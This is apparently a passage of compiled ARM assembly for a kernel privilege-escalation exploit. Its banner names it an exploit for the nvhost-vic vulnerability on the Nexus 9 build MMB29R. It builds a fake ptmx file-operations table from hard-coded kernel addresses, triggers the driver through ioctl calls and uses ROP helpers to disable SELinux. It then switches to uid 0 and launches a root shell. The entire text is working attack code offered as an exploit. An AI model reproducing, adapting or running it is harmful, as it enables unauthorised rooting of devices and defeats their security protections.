	ldr	r0, [fp, #-64]
	bl	memset
	ldr	r3, .L75+64
	ldr	r2, .L75+68
	str	r2, [r3]
	ldr	r3, .L75+64
	ldr	r3, [r3]
	add	r3, r3, #8
	mov	r2, r3
	ldr	r3, .L75+72
	str	r3, [r2]
	ldr	r3, .L75+64
	ldr	r3, [r3]
	add	r3, r3, #16
	mov	r2, r3
	ldr	r3, .L75+76
	str	r3, [r2]
	ldr	r3, .L75+64
	ldr	r3, [r3]
	add	r3, r3, #24
	mov	r2, r3
	ldr	r3, .L75+80
	str	r3, [r2]
	ldr	r3, .L75+64
	ldr	r3, [r3]
	add	r3, r3, #64
	mov	r2, r3
	ldr	r3, .L75+84
	str	r3, [r2]
	ldr	r3, .L75+64
	ldr	r3, [r3]
	add	r3, r3, #72
	mov	r2, r3
	ldr	r3, .L75+88
	str	r3, [r2]
	ldr	r3, .L75+64
	ldr	r3, [r3]
	add	r3, r3, #80
	mov	r2, r3
	ldr	r3, .L75+92
	str	r3, [r2]
	ldr	r3, .L75+64
	ldr	r3, [r3]
	add	r3, r3, #96
	mov	r2, r3
	ldr	r3, .L75+96
	str	r3, [r2]
	ldr	r3, .L75+64
	ldr	r3, [r3]
	add	r3, r3, #112
	mov	r2, r3
	ldr	r3, .L75+100
	str	r3, [r2]
	ldr	r3, .L75+64
	ldr	r3, [r3]
	add	r3, r3, #136
	mov	r2, r3
	ldr	r3, .L75+104
	str	r3, [r2]
	ldr	r0, .L75+108
	bl	puts
	sub	r3, fp, #60
	mov	r2, #24
	mov	r1, #0
	mov	r0, r3
	bl	memset
	ldr	r3, [fp, #-96]
	str	r3, [fp, #-44]
	ldr	r3, [fp, #-68]
	mov	r2, r3
	mov	r3, #0
	adr	r1, .L75
	ldmia	r1, {r0-r1}
	subs	r6, r0, r2
	sbc	r7, r1, r3
	str	r6, [fp, #-60]
	str	r7, [fp, #-56]
	mov	r2, #0
	mov	r3, #0
	str	r2, [fp, #-52]
	str	r3, [fp, #-48]
	ldr	r3, .L75+44
	str	r3, [fp, #-76]
	sub	r3, fp, #60
	mov	r2, r3
	ldr	r1, [fp, #-76]
	ldr	r0, [fp, #-80]
	bl	ioctl
	str	r0, [fp, #-88]
	ldr	r3, [fp, #-88]
	cmn	r3, #1
	bne	.L68
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r0, r3
	bl	strerror
	mov	r4, r0
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r2, r3
	mov	r1, r4
	ldr	r0, .L75+48
	bl	printf
	b	.L69
.L68:
	ldr	r0, .L75+112
	bl	puts
	sub	r3, fp, #60
	mov	r2, #24
	mov	r1, #0
	mov	r0, r3
	bl	memset
	ldr	r3, [fp, #-96]
	str	r3, [fp, #-44]
	ldr	r3, [fp, #-68]
	mov	r2, r3
	mov	r3, #0
	adr	r1, .L75+8
	ldmia	r1, {r0-r1}
	subs	r4, r0, r2
	sbc	r5, r1, r3
	str	r4, [fp, #-60]
	str	r5, [fp, #-56]
	mov	r2, #0
	mov	r3, #0
	str	r2, [fp, #-52]
	str	r3, [fp, #-48]
	ldr	r3, .L75+44
	str	r3, [fp, #-76]
	sub	r3, fp, #60
	mov	r2, r3
	ldr	r1, [fp, #-76]
	ldr	r0, [fp, #-80]
	bl	ioctl
	str	r0, [fp, #-88]
	ldr	r3, [fp, #-88]
	cmn	r3, #1
	bne	.L70
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r0, r3
	bl	strerror
	mov	r4, r0
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r2, r3
	mov	r1, r4
	ldr	r0, .L75+48
	bl	printf
	b	.L69
.L70:
	bl	rop_init
	ldr	r0, .L75+116
	bl	puts
	bl	do_root
	ldr	r0, .L75+120
	bl	puts
	bl	restore
	bl	rop_close
.L69:
	mov	r1, #268435456
	ldr	r0, [fp, #-64]
	bl	munmap
.L62:
	ldr	r0, [fp, #-80]
	bl	close
.L60:
	mov	r1, #268435456
	ldr	r0, [fp, #-84]
	bl	munmap
	b	.L57
.L73:
	nop
.L57:
	ldr	r3, [fp, #-88]
	ldr	r2, .L75+16
	ldr	r1, [r2]
	ldr	r2, [fp, #-32]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L72
	bl	__stack_chk_fail
.L72:
	mov	r0, r3
	sub	sp, fp, #28
	@ sp needed
	pop	{r4, r5, r6, r7, r8, r9, fp, pc}
.L76:
	.align	3
.L75:
	.word	17474896
	.word	-64
	.word	17474892
	.word	-64
	.word	.LC27
	.word	.LC13
	.word	.LC14
	.word	.LC15
	.word	.LC16
	.word	.LC17
	.word	.LC18
	.word	-1072150417
	.word	.LC19
	.word	.LC20
	.word	.LC21
	.word	.LC22
	.word	fake_ptmx_fops
	.word	17474592
	.word	1656368
	.word	4117160
	.word	4118740
	.word	4117608
	.word	4128300
	.word	4117384
	.word	4163956
	.word	4126136
	.word	4117076
	.word	.LC23
	.word	.LC24
	.word	.LC25
	.word	.LC26
	.size	get_root, .-get_root
	.section	.rodata
	.align	2
.LC28:
	.ascii	"***************************************************"
	.ascii	"******\000"
	.align	2
.LC29:
	.ascii	"*\011     Exploit for nvhost-vic vulnerability\011*"
	.ascii	"\000"
	.align	2
.LC30:
	.ascii	"*\011        Just for Nexus 9\011MMB29R\011\011*\000"
	.align	2
.LC31:
	.ascii	"*\011by Jianqiang Zhao (zhaojianqiang1@gmail.com)\011"
	.ascii	"*\000"
	.align	2
.LC32:
	.ascii	"*\011\011\0112-22-2016\011\011\011*\000"
	.text
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	banner, %function
banner:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	mov	r0, #10
	bl	putchar
	ldr	r0, .L78
	bl	puts
	ldr	r0, .L78+4
	bl	puts
	ldr	r0, .L78+8
	bl	puts
	ldr	r0, .L78+12
	bl	puts
	ldr	r0, .L78+16
	bl	puts
	ldr	r0, .L78
	bl	puts
	mov	r0, #10
	bl	putchar
	nop
	pop	{fp, pc}
.L79:
	.align	2
.L78:
	.word	.LC28
	.word	.LC29
	.word	.LC30
	.word	.LC31
	.word	.LC32
	.size	banner, .-banner
	.section	.rodata
	.align	2
.LC33:
	.ascii	"[-] get root fail\000"
	.align	2
.LC34:
	.ascii	"[+] SELinux disabled! \000"
	.align	2
.LC35:
	.ascii	"\012[+] Got it :)\000"
	.align	2
.LC36:
	.ascii	"[+] uid=%d gid=%d\012\000"
	.align	2
.LC37:
	.ascii	"/system/bin/sh\000"
	.align	2
.LC38:
	.ascii	"execl failed, errno %d\012\000"
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #20
	bl	banner
	ldr	r1, .L84
	mov	r3, #0
	str	r3, [sp]
	mov	r3, #0
	mov	r2, #0
	mov	r0, #15
	bl	prctl
	bl	get_root
	str	r0, [fp, #-16]
	ldr	r3, [fp, #-16]
	cmn	r3, #1
	bne	.L81
	ldr	r0, .L84+4
	bl	puts
	mvn	r3, #0
	b	.L82
.L81:
	ldr	r0, .L84+8
	bl	puts
	mov	r2, #0
	mov	r1, #0
	mov	r0, #0
	bl	setresuid
	mov	r3, r0
	cmp	r3, #0
	bne	.L83
	mov	r2, #0
	mov	r1, #0
	mov	r0, #0
	bl	setresgid
	ldr	r0, .L84+12
	bl	puts
	bl	getuid
	mov	r4, r0
	bl	getgid
	mov	r3, r0
	mov	r2, r3
	mov	r1, r4
	ldr	r0, .L84+16
	bl	printf
	mov	r0, #1
	bl	sleep
	mov	r2, #0
	ldr	r1, .L84+20
	ldr	r0, .L84+20
	bl	execl
	mov	r3, r0
	str	r3, [fp, #-16]
	ldr	r3, [fp, #-16]
	cmp	r3, #0
	beq	.L83
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r1, r3
	ldr	r0, .L84+24
	bl	printf
.L83:
	mov	r3, #0
.L82:
	mov	r0, r3
	sub	sp, fp, #8
	@ sp needed
	pop	{r4, fp, pc}
.L85:
	.align	2
.L84:
	.word	.LC1
	.word	.LC33
	.word	.LC34
	.word	.LC35
	.word	.LC36
	.word	.LC37
	.word	.LC38
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
